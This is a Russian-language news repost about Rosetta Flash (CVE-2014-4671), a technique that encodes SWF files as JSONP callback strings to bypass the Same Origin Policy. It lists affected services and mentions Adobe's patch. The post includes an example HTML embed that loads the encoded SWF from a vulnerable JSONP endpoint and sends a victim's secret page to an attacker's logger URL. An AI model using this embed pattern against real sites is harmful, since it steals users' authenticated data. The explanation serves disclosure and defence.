- PVSM.RU - https://www.pvsm.ru -

Rosetta Flash — кодирование SWF для вызова из JSONP

Michele Spagnuolo, специалист по безопасности Google, написал утилиту, которая может закодировать любой SWF-файл любым словарем.
Зачем это нужно? Все очень просто — такой файл можно передать в качестве параметра callback в JSONP на сайте, с которого вам нужно получить информацию, таким образом, вы сможете обойти Same Origin Policy.
Эта проблема была достаточно давно известна, однако, ей не уделяли особого внимания именно из-за того, что получить SWF-файл, состоящий только из символов, которые можно задать как параметр callback, было крайне сложно, однако, сейчас такой инструмент появился.

Из крупных сервисов, были уязвимы:

  • Сервисы Google (accounts.google.com, books.google.com, maps.google.com)
  • Youtube
  • Ebay
  • Instagram
  • Twitter
  • Tumblr
  • Olark

Как же уязвимость использовалась?

Предположим, есть два домена: подконтрольный нам miki.net и тот, который нужно атаковать trovatel.net

На trovatel.net есть JSONP-скрипт, который принимает параметр из печатаемых символов:

http://trovatel.net/vulnerable_jsonp.php?callback=

Имеется секретная страница, которая выдает секрет, если на нее зайти с установленной cookie

http://trovatel.net/secret/secret.php

При заходе на страницу miki.it/RosettaFlash/ [1], пользователя ждет такой код:

<object type="application/x-shockwave-flash" data="http://trovatel.net/vulnerable_jsonp.php?callback=CWSMI…" width="1" height="1">
<param name="FlashVars" value="url=http://trovatel.net/secret/secret.php&exfiltrate=http://miki.it/RosettaFlash/log.php">
</object>

Где miki.it/RosettaFlash/log.php [2] — скрипт-логгер.

Браузер пользователя загрузит SWF-файл как бы от сайта trovatel.net, откроет страницу с секретом (и с правильными cookie, конечно же) и отправит ее содержимое на удаленный сервер злоумышленника. Все довольно просто и типично.

На данный момент, Adobe выпустила обновление Flash Player, в котором эксплуатация данной уязвимости невозможна.

Ссылки

Информация в блоге автора [3]
Более подробная информация в PDF [4]
Утилита на Github [5]
CVE-2014-4671 [6]

Автор: ValdikSS

Источник [7]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/uyazvimost/64821

Ссылки в тексте:

[1] miki.it/RosettaFlash/: http://miki.it/RosettaFlash/

[2] miki.it/RosettaFlash/log.php: http://miki.it/RosettaFlash/log.php

[3] Информация в блоге автора: http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/

[4] Более подробная информация в PDF: http://miki.it/RosettaFlash/RosettaFlash.pdf

[5] Утилита на Github: https://github.com/mikispag/rosettaflash

[6] CVE-2014-4671: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4671

[7] Источник: http://habrahabr.ru/post/229639/